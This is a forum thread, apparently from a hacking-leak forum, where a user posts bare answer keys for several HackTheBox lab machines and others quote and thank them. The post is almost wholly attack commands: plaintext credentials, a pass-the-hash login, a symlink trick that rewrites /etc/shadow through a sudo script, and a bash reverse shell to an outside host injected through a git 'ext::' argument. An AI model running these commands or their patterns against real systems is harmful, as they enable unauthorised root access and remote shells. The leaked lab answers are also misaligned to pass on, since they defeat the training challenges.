Possibly Related Threads…

fuckedupindacrib · (This post was last modified: Oct 12, 2024, 06:43 AM by fuckedupindacrib.)

Cicada:

User:

evil-winrm -i 10.10.XX.XX -u 'emily.oscars' -p 'Q!3@Lp#M6b*7t*Vt'

Root:

impacket-wmiexec Administrator@10.10.XX.XX -hashes :2b87e7c93a3e8a0ea4a581937016f341

Greenhorn:

User: get from root

Root:

ssh root@10.10.XX.XX

Pass: sidefromsidetheothersidesidefromsidetheotherside

Permx:

User:

ssh mtz@10.10.XX.XX

Pass: 03F6lY3uXAP2bkW8

Root: (in user shell):

ln -s /etc/shadow ~/pwn

sudo /opt/acl.sh mtz rwx /home/mtz/pwn

sudo nano ~/pwn #remove the password hash for root, save file/close

su root

Editorial:

User:

ssh dev@10.10.XX.XX

Pass: dev080217_devAPI!@

Root

ssh prod@10.10.XX.XX

Pass: 080217_Producti0n_2023!@

echo "/bin/bash -i >& /dev/tcp/10.10.XX.XX/PORT 0>&1" > /tmp/shell

sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c bash% /tmp/shell'

Miek22 · Nov 04, 2024, 07:13 PM

(Oct 12, 2024, 06:38 AM)fuckedupindacrib Wrote: Cicada:

User:
evil-winrm -i 10.10.XX.XX -u 'emily.oscars' -p 'Q!3@Lp#M6b*7t*Vt'

Root:
impacket-wmiexec Administrator@10.10.XX.XX -hashes :2b87e7c93a3e8a0ea4a581937016f341
Greenhorn:

User: get from root

Root:
ssh root@10.10.XX.XX Pass: sidefromsidetheothersidesidefromsidetheotherside
Permx:

User:

ssh mtz@10.10.XX.XX Pass: 03F6lY3uXAP2bkW8

Root: (in user shell):

ln -s /etc/shadow ~/pwn sudo /opt/acl.sh mtz rwx /home/mtz/pwn sudo nano ~/pwn #remove the password hash for root, save file/close su root
Editorial:

User:

ssh dev@10.10.XX.XX Pass: dev080217_devAPI!@

Root

ssh prod@10.10.XX.XX Pass: 080217_Producti0n_2023!@ echo "/bin/bash -i >& /dev/tcp/10.10.XX.XX/PORT 0>&1" > /tmp/shell sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c bash% /tmp/shell'

Thanks for sharing this for free!

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Leeching.

bananoname · Nov 08, 2024, 09:20 AM

(Oct 12, 2024, 06:38 AM)fuckedupindacrib Wrote: Cicada:

User:
evil-winrm -i 10.10.XX.XX -u 'emily.oscars' -p 'Q!3@Lp#M6b*7t*Vt'

Root:
impacket-wmiexec Administrator@10.10.XX.XX -hashes :2b87e7c93a3e8a0ea4a581937016f341
Greenhorn:

User: get from root

Root:
ssh root@10.10.XX.XX Pass: sidefromsidetheothersidesidefromsidetheotherside
Permx:

User:

ssh mtz@10.10.XX.XX Pass: 03F6lY3uXAP2bkW8

Root: (in user shell):

ln -s /etc/shadow ~/pwn sudo /opt/acl.sh mtz rwx /home/mtz/pwn sudo nano ~/pwn #remove the password hash for root, save file/close su root
Editorial:

User:

ssh dev@10.10.XX.XX Pass: dev080217_devAPI!@

Root

ssh prod@10.10.XX.XX Pass: 080217_Producti0n_2023!@ echo "/bin/bash -i >& /dev/tcp/10.10.XX.XX/PORT 0>&1" > /tmp/shell sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c bash% /tmp/shell'

Thanks for sharing this for free!Thanks for sharing this for free!

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Replying With Hidden Content

0x01 · Dec 04, 2024, 10:18 AM

thanks bro help me a lot

sabiri · Dec 16, 2024, 11:33 PM

sure but why not give more details Smile

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Leeching | http://c66go4clkqodr7tdjfu76jztjs7w7d3fajdeypxn73v4ju3dt7g5yyyd.onion/Forum-Ban-Appeals if you feel this is incorrect.

Possibly Related Threads…
Thread		Author	Replies	Views	Last Post
	[FREE] HackTheBox All Cheatsheets	Tamarisk	18	1,166	3 hours ago Last Post: newxiao1
	[FREE] 300+ Writeups PDF HackTheBox/HTB premium retired	Tamarisk	387	96,706	4 hours ago Last Post: ximmhrss
	[FREE] CPTS 12 FLAGS	pulsebreaker	88	3,502	Today, 06:36 AM Last Post: exdream
	[FREE] HackTheBox Academy - CBBH CDSA CPTS All Modules Flags	Techtom	49	3,972	Yesterday, 06:58 PM Last Post: opium0221
	[MEGALEAK] HackTheBox ProLabs, Fortress, Endgame - Alchemy, 250 Flags, leak htb-bot	htb-bot	98	9,243	May 07, 2026, 08:05 PM Last Post: Zacker90